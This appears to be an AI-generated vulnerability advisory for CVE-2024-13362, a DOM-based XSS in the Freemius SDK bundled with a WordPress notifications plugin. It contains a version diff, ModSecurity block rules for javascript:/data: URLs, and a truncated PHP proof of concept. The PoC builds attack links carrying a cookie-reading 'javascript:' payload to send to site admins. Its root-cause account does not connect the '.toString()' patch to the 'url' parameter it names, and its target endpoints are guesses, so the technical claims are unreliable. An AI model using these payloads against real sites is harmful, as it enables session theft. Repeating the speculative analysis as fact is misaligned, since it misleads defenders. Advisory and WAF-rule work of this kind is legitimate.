Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 8, 2026

CVE-2024-13362: Freemius <= 2.10.1 – Reflected DOM-Based Cross-Site Scripting via url Parameter (foobar-notifications-lite)

Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 2.1.34
Patched Version 2.1.35
Disclosed April 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2024-13362:
This is a Reflected DOM-Based Cross-Site Scripting vulnerability in the Freemius SDK (versions up to 2.10.1), used by the FooBar WordPress Notifications plugin (and potentially thousands of other plugins/themes). The vulnerability exists in the license activation JavaScript template within the Freemius library. An unauthenticated attacker can inject arbitrary web scripts into a page by tricking a user into clicking a malicious link.

Root Cause:
The root cause lies in Freemius’s insufficient input sanitization and output escaping in the `freemius/templates/forms/license-activation.php` file. Specifically, on line 572, the vulnerable code retrieves a license ID from a data attribute using `$availableLicenseKey.data( ‘id’ )`. This value is then used directly within the DOM without sanitization or encoding. The absence of `.toString()` on the data retrieval call (before the patch) allowed unusual data types to be interpreted incorrectly when passed to functions expecting a string. The `url` parameter is explicitly named in the CVE description as a primary injection vector.

Exploitation:
The attack vector is reflected DOM-based XSS. An attacker crafts a malicious URL containing a JavaScript payload in the `url` parameter, targeting an endpoint that uses the Freemius license activation template. For example, a payload like `javascript:alert(document.cookie)` or an event handler like `onmouseover=alert(1)` can be injected. When a logged-in WordPress administrator clicks the link (or hovers over an element), the malicious script executes in the context of the WordPress admin dashboard. The attacker does not need authentication, only social engineering to make an admin click the link.

Patch Analysis:
The patch addresses the vulnerability in the `license-activation.php` file. On line 572, the value from `$availableLicenseKey.data( ‘id’ )` is now explicitly converted to a string with `.toString()`. This change ensures the value is always handled as a string, preventing unexpected type coercion that could lead to script injection. The patch also includes numerous other improvements throughout the SDK, but this specific change directly fixes the XSS vector.

Impact:
Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the browser of a logged-in WordPress administrator. This can lead to session hijacking, credential theft, installation of backdoors, privilege escalation, or complete site compromise. The CVSS score of 6.1 (Medium) reflects the need for user interaction, but the potential impact is severe because an admin-level session can modify site content, install plugins, and access sensitive data.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/foobar-notifications-lite/foobar.php
+++ b/foobar-notifications-lite/foobar.php
@@ -2,7 +2,7 @@
 /*
 Plugin Name: FooBar WordPress Notifications
 Description: WordPress notifications to help you grow your business
-Version:     2.1.34
+Version:     2.1.35
 Author:      FooPlugins
 Plugin URI:  https://fooplugins.com/foobar-wordpress-notification-bars/
 Author URI:  https://fooplugins.com/
@@ -26,7 +26,7 @@
 	define( 'FOOBAR_URL', plugin_dir_url( __FILE__ ) );
 	define( 'FOOBAR_ASSETS_URL', FOOBAR_URL . 'assets/' );
 	define( 'FOOBAR_FILE', __FILE__ );
-	define( 'FOOBAR_VERSION', '2.1.34' );
+	define( 'FOOBAR_VERSION', '2.1.35' );
 	define( 'FOOBAR_MIN_PHP', '5.6.0' ); // Minimum of PHP 5.4 required for autoloading, namespaces, etc.
 	define( 'FOOBAR_MIN_WP', '4.4.0' );  // Minimum of WordPress 4.4 required.
 }
--- a/foobar-notifications-lite/freemius/includes/class-freemius.php
+++ b/foobar-notifications-lite/freemius/includes/class-freemius.php
@@ -110,6 +110,12 @@
         private $_enable_anonymous = true;

         /**
+         * @since 2.9.1
+         * @var string|null Hints the SDK whether the plugin supports parallel activation mode, preventing the auto-deactivation of the free version when the premium version is activated, and vice versa.
+         */
+        private $_premium_plugin_basename_from_parallel_activation;
+
+        /**
          * @since 1.1.7.5
          * @var bool Hints the SDK if plugin should run in anonymous mode (only adds feedback form).
          */
@@ -1651,6 +1657,31 @@
                     );
                 }
             }
+
+            if (
+                $this->is_user_in_admin() &&
+                $this->is_parallel_activation() &&
+                $this->_premium_plugin_basename !== $this->_premium_plugin_basename_from_parallel_activation
+            ) {
+                $this->_premium_plugin_basename = $this->_premium_plugin_basename_from_parallel_activation;
+
+                register_activation_hook(
+                    dirname( $this->_plugin_dir_path ) . '/' . $this->_premium_plugin_basename,
+                    array( &$this, '_activate_plugin_event_hook' )
+                );
+            }
+        }
+
+        /**
+         * Determines if a plugin is running in parallel activation mode.
+         *
+         * @author Leo Fajardo (@leorw)
+         * @since 2.9.1
+         *
+         * @return bool
+         */
+        private function is_parallel_activation() {
+            return ! empty( $this->_premium_plugin_basename_from_parallel_activation );
         }

         /**
@@ -5155,11 +5186,35 @@
                 $this->_plugin :
                 new FS_Plugin();

+            $is_premium     = $this->get_bool_option( $plugin_info, 'is_premium', true );
             $premium_suffix = $this->get_option( $plugin_info, 'premium_suffix', '(Premium)' );

+            $module_type = $this->get_option( $plugin_info, 'type', $this->_module_type );
+
+            $parallel_activation = $this->get_option( $plugin_info, 'parallel_activation' );
+
+            if (
+                ! $is_premium &&
+                is_array( $parallel_activation ) &&
+                ( WP_FS__MODULE_TYPE_PLUGIN === $module_type ) &&
+                $this->get_bool_option( $parallel_activation, 'enabled' )
+            ) {
+                $premium_basename = $this->get_option( $parallel_activation, 'premium_version_basename' );
+
+                if ( empty( $premium_basename ) ) {
+                    throw new Exception('You need to specify the premium version basename to enable parallel version activation.');
+                }
+
+                $this->_premium_plugin_basename_from_parallel_activation = $premium_basename;
+
+                if ( is_plugin_active( $premium_basename ) ) {
+                    $is_premium = true;
+                }
+            }
+
             $plugin->update( array(
                 'id'                   => $id,
-                'type'                 => $this->get_option( $plugin_info, 'type', $this->_module_type ),
+                'type'                 => $module_type,
                 'public_key'           => $public_key,
                 'slug'                 => $this->_slug,
                 'premium_slug'         => $this->get_option( $plugin_info, 'premium_slug', "{$this->_slug}-premium" ),
@@ -5167,7 +5222,7 @@
                 'version'              => $this->get_plugin_version(),
                 'title'                => $this->get_plugin_name( $premium_suffix ),
                 'file'                 => $this->_plugin_basename,
-                'is_premium'           => $this->get_bool_option( $plugin_info, 'is_premium', true ),
+                'is_premium'           => $is_premium,
                 'premium_suffix'       => $premium_suffix,
                 'is_live'              => $this->get_bool_option( $plugin_info, 'is_live', true ),
                 'affiliate_moderation' => $this->get_option( $plugin_info, 'has_affiliation' ),
@@ -5236,7 +5291,14 @@
                 $this->_anonymous_mode   = false;
             } else {
                 $this->_enable_anonymous = $this->get_bool_option( $plugin_info, 'enable_anonymous', true );
-                $this->_anonymous_mode   = $this->get_bool_option( $plugin_info, 'anonymous_mode', false );
+                $this->_anonymous_mode   = (
+                    $this->get_bool_option( $plugin_info, 'anonymous_mode', false ) ||
+                    (
+                        $this->apply_filters( 'playground_anonymous_mode', true ) &&
+                        ! empty( $_SERVER['HTTP_HOST'] ) &&
+                        FS_Site::is_playground_wp_environment_by_host( $_SERVER['HTTP_HOST'] )
+                    )
+                );
             }
             $this->_permissions = $this->get_option( $plugin_info, 'permissions', array() );
             $this->_is_bundle_license_auto_activation_enabled = $this->get_option( $plugin_info, 'bundle_license_auto_activation', false );
@@ -5444,7 +5506,7 @@

             if ( $this->is_registered() ) {
                 // Schedule code type changes event.
-                $this->schedule_install_sync();
+                $this->maybe_schedule_install_sync_cron();
             }

             /**
@@ -6508,6 +6570,33 @@
         }

         /**
+         * Instead of running blocking install sync event, execute non blocking scheduled cron job.
+         *
+         * @param int $except_blog_id Since 2.0.0 when running in a multisite network environment, the cron execution is consolidated. This param allows excluding specified blog ID from being the cron job executor.
+         *
+         * @author Leo Fajardo (@leorw)
+         * @since  2.9.1
+         */
+        private function maybe_schedule_install_sync_cron( $except_blog_id = 0 ) {
+            if ( ! $this->is_user_in_admin() ) {
+                return;
+            }
+
+            if ( $this->is_clone() ) {
+                return;
+            }
+
+            if (
+                // The event has been properly scheduled, so no need to reschedule it.
+                is_numeric( $this->next_install_sync() )
+            ) {
+                return;
+            }
+
+            $this->schedule_cron( 'install_sync', 'install_sync', 'single', WP_FS__SCRIPT_START_TIME, false, $except_blog_id );
+        }
+
+        /**
          * @author Vova Feldman (@svovaf)
          * @since  1.1.7.3
          *
@@ -6605,22 +6694,6 @@
         }

         /**
-         * Instead of running blocking install sync event, execute non blocking scheduled wp-cron.
-         *
-         * @author Vova Feldman (@svovaf)
-         * @since  1.1.7.3
-         *
-         * @param int $except_blog_id Since 2.0.0 when running in a multisite network environment, the cron execution is consolidated. This param allows excluding excluded specified blog ID from being the cron executor.
-         */
-        private function schedule_install_sync( $except_blog_id = 0 ) {
-            if ( $this->is_clone() ) {
-                return;
-            }
-
-            $this->schedule_cron( 'install_sync', 'install_sync', 'single', WP_FS__SCRIPT_START_TIME, false, $except_blog_id );
-        }
-
-        /**
          * Unix timestamp for previous install sync cron execution or false if never executed.
          *
          * @todo   There's some very strange bug that $this->_storage->install_sync_timestamp value is not being updated. But for sure the sync event is working.
@@ -7411,7 +7484,7 @@
                  */
                 if (
                     is_plugin_active( $other_version_basename ) &&
-                    $this->apply_filters( 'deactivate_on_activation', true )
+                    $this->apply_filters( 'deactivate_on_activation', ! $this->is_parallel_activation() )
                 ) {
                     deactivate_plugins( $other_version_basename );
                 }
@@ -7425,7 +7498,7 @@

                 // Schedule re-activation event and sync.
 //				$this->sync_install( array(), true );
-                $this->schedule_install_sync();
+                $this->maybe_schedule_install_sync_cron();

                 // If activating the premium module version, add an admin notice to congratulate for an upgrade completion.
                 if ( $is_premium_version_activation ) {
@@ -8616,7 +8689,7 @@
                 return;
             }

-            $this->schedule_install_sync();
+            $this->maybe_schedule_install_sync_cron();
 //			$this->sync_install( array(), true );
         }

@@ -15974,7 +16047,7 @@
             if ( $this->is_install_sync_scheduled() &&
                  $context_blog_id == $this->get_install_sync_cron_blog_id()
             ) {
-                $this->schedule_install_sync( $context_blog_id );
+                $this->maybe_schedule_install_sync_cron( $context_blog_id );
             }
         }

@@ -23927,13 +24000,15 @@

             // Start trial button.
             $button = ' ' . sprintf(
-                    '<a style="margin-left: 10px; vertical-align: super;" href="%s"><button class="button button-primary">%s  ➜</button></a>',
+                    '<div><a class="button button-primary" href="%s">%s  ➜</a></div>',
                     $trial_url,
                     $this->get_text_x_inline( 'Start free trial', 'call to action', 'start-free-trial' )
                 );

+            $message_text = $this->apply_filters( 'trial_promotion_message', "{$message} {$cc_string}" );
+
             $this->_admin_notices->add_sticky(
-                $this->apply_filters( 'trial_promotion_message', "{$message} {$cc_string} {$button}" ),
+                "<div class="fs-trial-message-container"><div>{$message_text}</div> {$button}</div>",
                 'trial_promotion',
                 '',
                 'promotion'
@@ -25403,7 +25478,7 @@
                 $img_dir = WP_FS__DIR_IMG;

                 // Locate the main assets folder.
-                if ( 1 < count( $fs_active_plugins->plugins ) ) {
+                if ( ! empty( $fs_active_plugins->plugins ) ) {
                     $plugin_or_theme_img_dir = ( $this->is_plugin() ? WP_PLUGIN_DIR : get_theme_root( get_stylesheet() ) );

                     foreach ( $fs_active_plugins->plugins as $sdk_path => &$data ) {
--- a/foobar-notifications-lite/freemius/includes/class-fs-plugin-updater.php
+++ b/foobar-notifications-lite/freemius/includes/class-fs-plugin-updater.php
@@ -542,24 +542,8 @@

             global $wp_current_filter;

-            $current_plugin_version = $this->_fs->get_plugin_version();
-
-            if ( ! empty( $wp_current_filter ) && 'upgrader_process_complete' === $wp_current_filter[0] ) {
-                if (
-                    is_null( $this->_update_details ) ||
-                    ( is_object( $this->_update_details ) && $this->_update_details->new_version !== $current_plugin_version )
-                ) {
-                    /**
-                     * After an update, clear the stored update details and reparse the plugin's main file in order to get
-                     * the updated version's information and prevent the previous update information from showing up on the
-                     * updates page.
-                     *
-                     * @author Leo Fajardo (@leorw)
-                     * @since 2.3.1
-                     */
-                    $this->_update_details  = null;
-                    $current_plugin_version = $this->_fs->get_plugin_version( true );
-                }
+            if ( ! empty( $wp_current_filter ) && in_array( 'upgrader_process_complete', $wp_current_filter ) ) {
+                return $transient_data;
             }

             if ( ! isset( $this->_update_details ) ) {
@@ -568,7 +552,7 @@
                     false,
                     fs_request_get_bool( 'force-check' ),
                     FS_Plugin_Updater::UPDATES_CHECK_CACHE_EXPIRATION,
-                    $current_plugin_version
+                    $this->_fs->get_plugin_version()
                 );

                 $this->_update_details = false;
--- a/foobar-notifications-lite/freemius/includes/entities/class-fs-plugin-plan.php
+++ b/foobar-notifications-lite/freemius/includes/entities/class-fs-plugin-plan.php
@@ -13,7 +13,6 @@
 	/**
 	 * Class FS_Plugin_Plan
 	 *
-	 * @property FS_Pricing[] $pricing
 	 */
 	class FS_Plugin_Plan extends FS_Entity {

--- a/foobar-notifications-lite/freemius/includes/entities/class-fs-site.php
+++ b/foobar-notifications-lite/freemius/includes/entities/class-fs-site.php
@@ -10,16 +10,16 @@
         exit;
     }

-    /**
-     * @property int $blog_id
-     */
-    #[AllowDynamicProperties]
     class FS_Site extends FS_Scope_Entity {
         /**
          * @var number
          */
         public $site_id;
         /**
+         * @var int
+         */
+        public $blog_id;
+        /**
          * @var number
          */
         public $plugin_id;
@@ -190,7 +190,7 @@
                 fs_ends_with( $subdomain, '.cloudwaysapps.com' ) ||
                 // Kinsta
                 (
-                    ( fs_starts_with( $subdomain, 'staging-' ) || fs_starts_with( $subdomain, 'env-' ) ) &&
+                    ( fs_starts_with( $subdomain, 'stg-' ) ||  fs_starts_with( $subdomain, 'staging-' ) || fs_starts_with( $subdomain, 'env-' ) ) &&
                     ( fs_ends_with( $subdomain, '.kinsta.com' ) || fs_ends_with( $subdomain, '.kinsta.cloud' ) )
                 ) ||
                 // DesktopServer
@@ -208,6 +208,40 @@
             );
         }

+        /**
+         * @author Leo Fajardo (@leorw)
+         * @since  2.9.1
+         *
+         * @param string $host
+         *
+         * @return bool
+         */
+        static function is_playground_wp_environment_by_host( $host ) {
+            // Services aimed at providing a WordPress sandbox environment.
+            $sandbox_wp_environment_domains = array(
+                // InstaWP
+                'instawp.xyz',
+
+                // TasteWP
+                'tastewp.com',
+
+                // WordPress Playground
+                'playground.wordpress.net',
+            );
+
+            foreach ( $sandbox_wp_environment_domains as $domain) {
+                if (
+                    ( $host === $domain ) ||
+                    fs_ends_with( $host, '.' . $domain ) ||
+                    fs_ends_with( $host, '-' . $domain )
+                ) {
+                    return true;
+                }
+            }
+
+            return false;
+        }
+
         function is_localhost() {
             return ( WP_FS__IS_LOCALHOST_FOR_SERVER || self::is_localhost_by_address( $this->url ) );
         }
--- a/foobar-notifications-lite/freemius/includes/entities/class-fs-user.php
+++ b/foobar-notifications-lite/freemius/includes/entities/class-fs-user.php
@@ -48,6 +48,19 @@
 			parent::__construct( $user );
 		}

+		/**
+		 * This method removes the deprecated 'is_beta' property from the serialized data.
+		 * Should clean up the serialized data to avoid PHP 8.2 warning on next execution.
+		 *
+		 * @return void
+		 */
+		function __wakeup() {
+			if ( property_exists( $this, 'is_beta' ) ) {
+				// If we enter here, and we are running PHP 8.2, we already had the warning. But we sanitize data for next execution.
+				unset( $this->is_beta );
+			}
+		}
+
 		function get_name() {
 			return trim( ucfirst( trim( is_string( $this->first ) ? $this->first : '' ) ) . ' ' . ucfirst( trim( is_string( $this->last ) ? $this->last : '' ) ) );
 		}
--- a/foobar-notifications-lite/freemius/includes/managers/class-fs-admin-menu-manager.php
+++ b/foobar-notifications-lite/freemius/includes/managers/class-fs-admin-menu-manager.php
@@ -699,16 +699,36 @@
 				$menu = $this->find_main_submenu();
 			}

+			$menu_slug   = $menu['menu'][2];
 			$parent_slug = isset( $menu['parent_slug'] ) ?
-                $menu['parent_slug'] :
-                'admin.php';
+				$menu['parent_slug'] :
+				'admin.php';

-            return admin_url(
-                $parent_slug .
-                ( false === strpos( $parent_slug, '?' ) ? '?' : '&' ) .
-                'page=' .
-                $menu['menu'][2]
-            );
+			if ( fs_apply_filter( $this->_module_unique_affix, 'enable_cpt_advanced_menu_logic', false ) ) {
+				$parent_slug = 'admin.php';
+
+				/**
+				 * This line and the `if` block below it are based on the `menu_page_url()` function of WordPress.
+				 *
+				 * @author Leo Fajardo (@leorw)
+				 * @since 2.10.2
+				 */
+				global $_parent_pages;
+
+				if ( ! empty( $_parent_pages[ $menu_slug ] ) ) {
+					$_parent_slug = $_parent_pages[ $menu_slug ];
+					$parent_slug  = isset( $_parent_pages[ $_parent_slug ] ) ?
+						$parent_slug :
+						$menu['parent_slug'];
+				}
+			}
+
+			return admin_url(
+				$parent_slug .
+				( false === strpos( $parent_slug, '?' ) ? '?' : '&' ) .
+				'page=' .
+				$menu_slug
+			);
 		}

 		/**
--- a/foobar-notifications-lite/freemius/includes/managers/class-fs-admin-notice-manager.php
+++ b/foobar-notifications-lite/freemius/includes/managers/class-fs-admin-notice-manager.php
@@ -194,8 +194,14 @@
          * @since  1.0.7
          */
         static function _add_sticky_dismiss_javascript() {
+            $sticky_admin_notice_js_template_name = 'sticky-admin-notice-js.php';
+
+            if ( ! file_exists( fs_get_template_path( $sticky_admin_notice_js_template_name ) ) ) {
+                return;
+            }
+
             $params = array();
-            fs_require_once_template( 'sticky-admin-notice-js.php', $params );
+            fs_require_once_template( $sticky_admin_notice_js_template_name, $params );
         }

         private static $_added_sticky_javascript = false;
--- a/foobar-notifications-lite/freemius/start.php
+++ b/foobar-notifications-lite/freemius/start.php
@@ -15,7 +15,7 @@
 	 *
 	 * @var string
 	 */
-	$this_sdk_version = '2.9.0';
+	$this_sdk_version = '2.11.0';

 	#region SDK Selection Logic --------------------------------------------------------------------

@@ -36,7 +36,16 @@
 		require_once dirname( __FILE__ ) . '/includes/fs-essential-functions.php';
 	}

-	/**
+    /**
+     * We updated the logic to support SDK loading from a subfolder of a theme as well as from a parent theme
+     * If the SDK is found in the active theme, it sets the relative path accordingly.
+     * If not, it checks the parent theme and sets the relative path if found there.
+     * This allows the SDK to be loaded from composer dependencies or from a custom `vendor/freemius` folder.
+     *
+     * @author Daniele Alessandra (@DanieleAlessandra)
+     * @since  2.9.0.5
+     *
+     *
 	 * This complex logic fixes symlink issues (e.g. with Vargant). The logic assumes
 	 * that if it's a file from an SDK running in a theme, the location of the SDK
 	 * is in the main theme's folder.
@@ -83,16 +92,50 @@
      */
 	$themes_directory         = get_theme_root( get_stylesheet() );
 	$themes_directory_name    = basename( $themes_directory );
-	$theme_candidate_basename = basename( dirname( $fs_root_path ) ) . '/' . basename( $fs_root_path );

-	if ( $file_path == fs_normalize_path( realpath( trailingslashit( $themes_directory ) . $theme_candidate_basename . '/' . basename( $file_path ) ) )
-	) {
-		$this_sdk_relative_path = '../' . $themes_directory_name . '/' . $theme_candidate_basename;
-		$is_theme               = true;
-	} else {
-		$this_sdk_relative_path = plugin_basename( $fs_root_path );
-		$is_theme               = false;
-	}
+    // This change ensures that the condition works even if the SDK is located in a subdirectory (e.g., vendor)
+    $theme_candidate_sdk_basename = str_replace( $themes_directory . '/' . get_stylesheet() . '/', '', $fs_root_path );
+
+    // Check if the current file is part of the active theme.
+    $is_current_sdk_from_active_theme = $file_path == $themes_directory . '/' . get_stylesheet() . '/' . $theme_candidate_sdk_basename . '/' . basename( $file_path );
+    $is_current_sdk_from_parent_theme = false;
+
+    // Check if the current file is part of the parent theme.
+    if ( ! $is_current_sdk_from_active_theme ) {
+        $theme_candidate_sdk_basename     = str_replace( $themes_directory . '/' . get_template() . '/',
+            '',
+            $fs_root_path );
+        $is_current_sdk_from_parent_theme = $file_path == $themes_directory . '/' . get_template() . '/' . $theme_candidate_sdk_basename . '/' . basename( $file_path );
+    }
+
+    $theme_name = null;
+    if ( $is_current_sdk_from_active_theme ) {
+        $theme_name             = get_stylesheet();
+        $this_sdk_relative_path = '../' . $themes_directory_name . '/' . $theme_name . '/' . $theme_candidate_sdk_basename;
+        $is_theme               = true;
+    } else if ( $is_current_sdk_from_parent_theme ) {
+        $theme_name             = get_template();
+        $this_sdk_relative_path = '../' . $themes_directory_name . '/' . $theme_name . '/' . $theme_candidate_sdk_basename;
+        $is_theme               = true;
+    } else {
+        $this_sdk_relative_path = plugin_basename( $fs_root_path );
+        $is_theme               = false;
+
+        /**
+         * If this file was included from another plugin with lower SDK version, and if this plugin is symlinked, then we need to get the actual plugin path,
+         * as the value right now will be wrong, it will only remove the directory separator from the file_path.
+         *
+         * The check of `fs_find_direct_caller_plugin_file` determines that this file was indeed included by a different plugin than the main plugin.
+         */
+        if ( DIRECTORY_SEPARATOR . $this_sdk_relative_path === $fs_root_path && function_exists( 'fs_find_direct_caller_plugin_file' ) ) {
+            $original_plugin_dir_name = dirname( fs_find_direct_caller_plugin_file( $file_path ) );
+
+            // Remove everything before the original plugin directory name.
+            $this_sdk_relative_path = substr( $this_sdk_relative_path, strpos( $this_sdk_relative_path, $original_plugin_dir_name ) );
+
+            unset( $original_plugin_dir_name );
+        }
+    }

 	if ( ! isset( $fs_active_plugins ) ) {
 		// Load all Freemius powered active plugins.
@@ -176,7 +219,8 @@
 	     $this_sdk_version != $fs_active_plugins->plugins[ $this_sdk_relative_path ]->version
 	) {
 		if ( $is_theme ) {
-			$plugin_path = basename( dirname( $this_sdk_relative_path ) );
+            // Saving relative path and not only directory name as it could be a subfolder
+            $plugin_path = $theme_name;
 		} else {
 			$plugin_path = plugin_basename( fs_find_direct_caller_plugin_file( $file_path ) );
 		}
@@ -225,11 +269,23 @@

 		$is_newest_sdk_type_theme = ( isset( $fs_newest_sdk->type ) && 'theme' === $fs_newest_sdk->type );

-		if ( ! $is_newest_sdk_type_theme ) {
-			$is_newest_sdk_plugin_active = is_plugin_active( $fs_newest_sdk->plugin_path );
-		} else {
-			$current_theme               = wp_get_theme();
-			$is_newest_sdk_plugin_active = ( $current_theme->stylesheet === $fs_newest_sdk->plugin_path );
+        /**
+         * @var bool $is_newest_sdk_module_active
+         * True if the plugin with the newest SDK is active.
+         * True if the newest SDK is part of the current theme or current theme's parent.
+         * False otherwise.
+         */
+        if ( ! $is_newest_sdk_type_theme ) {
+            $is_newest_sdk_module_active = is_plugin_active( $fs_newest_sdk->plugin_path );
+        } else {
+            $current_theme = wp_get_theme();
+            // Detect if current theme is the one registered as newer SDK
+            $is_newest_sdk_module_active = (
+                strpos(
+                    $fs_newest_sdk->plugin_path,
+                    '../' . $themes_directory_name . '/' . $current_theme->get_stylesheet() . '/'
+                ) === 0
+            );

             $current_theme_parent = $current_theme->parent();

@@ -237,13 +293,19 @@
              * If the current theme is a child of the theme that has the newest SDK, this prevents a redirects loop
              * from happening by keeping the SDK info stored in the `fs_active_plugins` option.
              */
-            if ( ! $is_newest_sdk_plugin_active && $current_theme_parent instanceof WP_Theme ) {
-                $is_newest_sdk_plugin_active = ( $fs_newest_sdk->plugin_path === $current_theme_parent->stylesheet );
+            if ( ! $is_newest_sdk_module_active && $current_theme_parent instanceof WP_Theme ) {
+                // Detect if current theme parent is the one registered as newer SDK
+                $is_newest_sdk_module_active = (
+                    strpos(
+                        $fs_newest_sdk->plugin_path,
+                        '../' . $themes_directory_name . '/' . $current_theme_parent->get_stylesheet() . '/'
+                    ) === 0
+                );
             }
 		}

 		if ( $is_current_sdk_newest &&
-		     ! $is_newest_sdk_plugin_active &&
+		     ! $is_newest_sdk_module_active &&
 		     ! $fs_active_plugins->newest->in_activation
 		) {
 			// If current SDK is the newest and the plugin is NOT active, it means
@@ -262,14 +324,14 @@
 				. '/start.php' );
 		}

-		$is_newest_sdk_path_valid = ( $is_newest_sdk_plugin_active || $fs_active_plugins->newest->in_activation ) && file_exists( $sdk_starter_path );
+		$is_newest_sdk_path_valid = ( $is_newest_sdk_module_active || $fs_active_plugins->newest->in_activation ) && file_exists( $sdk_starter_path );

 		if ( ! $is_newest_sdk_path_valid && ! $is_current_sdk_newest ) {
 			// Plugin with newest SDK is no longer active, or SDK was moved to a different location.
 			unset( $fs_active_plugins->plugins[ $fs_active_plugins->newest->sdk_path ] );
 		}

-		if ( ! ( $is_newest_sdk_plugin_active || $fs_active_plugins->newest->in_activation ) ||
+		if ( ! ( $is_newest_sdk_module_active || $fs_active_plugins->newest->in_activation ) ||
 		     ! $is_newest_sdk_path_valid ||
 		     // Is newest SDK downgraded.
 		     ( $this_sdk_relative_path == $fs_active_plugins->newest->sdk_path &&
@@ -284,7 +346,7 @@
 			// Find the active plugin with the newest SDK version and update the newest reference.
 			fs_fallback_to_newest_active_sdk();
 		} else {
-			if ( $is_newest_sdk_plugin_active &&
+			if ( $is_newest_sdk_module_active &&
 			     $this_sdk_relative_path == $fs_active_plugins->newest->sdk_path &&
 			     ( $fs_active_plugins->newest->in_activation ||
 			       ( class_exists( 'Freemius' ) && ( ! defined( 'WP_FS__SDK_VERSION' ) || version_compare( WP_FS__SDK_VERSION, $this_sdk_version, '<' ) ) )
@@ -313,7 +375,7 @@
 		return;
 	}

-	if ( version_compare( $this_sdk_version, $fs_active_plugins->newest->version, '<' ) ) {
+	if ( isset( $fs_active_plugins->newest ) && version_compare( $this_sdk_version, $fs_active_plugins->newest->version, '<' ) ) {
 		$newest_sdk = $fs_active_plugins->plugins[ $fs_active_plugins->newest->sdk_path ];

 		$plugins_or_theme_dir_path = ( ! isset( $newest_sdk->type ) || 'theme' !== $newest_sdk->type ) ?
--- a/foobar-notifications-lite/freemius/templates/forms/license-activation.php
+++ b/foobar-notifications-lite/freemius/templates/forms/license-activation.php
@@ -569,7 +569,7 @@
 				        licenseKey = $otherLicenseKey.val();
                     } else {
 				        if ( ! hasLicensesDropdown ) {
-                            licenseID = $availableLicenseKey.data( 'id' );
+                            licenseID = $availableLicenseKey.data( 'id' ).toString();
                         } else {
                             licenseID = $licensesDropdown.val();
                         }
--- a/foobar-notifications-lite/freemius/templates/pricing.php
+++ b/foobar-notifications-lite/freemius/templates/pricing.php
@@ -69,6 +69,11 @@

     wp_enqueue_script( 'freemius-pricing', $pricing_js_url );

+    $pricing_css_path = $fs->apply_filters( 'pricing/css_path', null );
+    if ( is_string( $pricing_css_path ) ) {
+        wp_enqueue_style( 'freemius-pricing', fs_asset_url( $pricing_css_path ) );
+    }
+
 	$has_tabs = $fs->_add_tabs_before_content();

 	if ( $has_tabs ) {
@@ -95,6 +100,8 @@
             'unique_affix'           => $fs->get_unique_affix(),
             'show_annual_in_monthly' => $fs->apply_filters( 'pricing/show_annual_in_monthly', true ),
             'license'                => $fs->has_active_valid_license() ? $fs->_get_license() : null,
+            'plugin_icon'            => $fs->get_local_icon_url(),
+            'disable_single_package' => $fs->apply_filters( 'pricing/disable_single_package', false ),
         ), $query_params );

         wp_add_inline_script( 'freemius-pricing', 'Freemius.pricing.new( ' . json_encode( $pricing_config ) . ' )' );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@rx /wp-admin/admin.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2024-13362 - Freemius XSS via url parameter',severity:'CRITICAL',tag:'CVE-2024-13362'"
  SecRule QUERY_STRING "@rx (?:^|&)url=(?:javascript|data|vbscript):" 
    "chain,id:202619941"
    SecRule ARGS_GET:url "@rx (?:javascript|data|vbscript):" 
      "id:202619942"

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261995,phase:2,deny,status:403,chain,msg:'CVE-2024-13362 - Freemius XSS via AJAX url parameter',severity:'CRITICAL',tag:'CVE-2024-13362'"
  SecRule QUERY_STRING "@rx (?:^|&)url=(?:javascript|data|vbscript):" 
    "chain,id:202619951"
    SecRule ARGS_GET:url "@rx (?:javascript|data|vbscript):" 
      "id:202619952"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2024-13362 - Freemius Reflected DOM-Based Cross-Site Scripting via url Parameter

// Configuration: Change this to your target WordPress site URL
$target_url = 'http://example.com';

// The payload must be URL-encoded and placed in the 'url' parameter
// This XSS payload triggers when an admin hovers over the injected element
$payload = urlencode('javascript:alert(document.cookie)');

// Many Freemius-powered plugins have an AJAX endpoint or admin page that reflects the 'url' parameter
// Common patterns include:
// /wp-admin/admin.php?page=plugin-name-account&url=PAYLOAD
// /wp-admin/admin-ajax.php?action=fs_action&url=PAYLOAD

// Example 1: Direct admin page (most common)
$attack_url = $target_url . '/wp-admin/admin.php?page=foobar-account&url=' . $payload;

echo "[+] Target: $target_urln";
echo "[+] Exploit URL (send this to admin):n";
echo $attack_url . "nn";

// Example 2: Alternative pattern - Freemius connect/opt-in page
$attack_url2 = $target_url . '/wp-admin/admin.php?page=foobar-opt-in&url=' . $payload;
echo "[+] Alternative exploit URL:n";
echo $attack_url2 . "nn";

// Test availability (optional): check if the page loads
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $attack_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
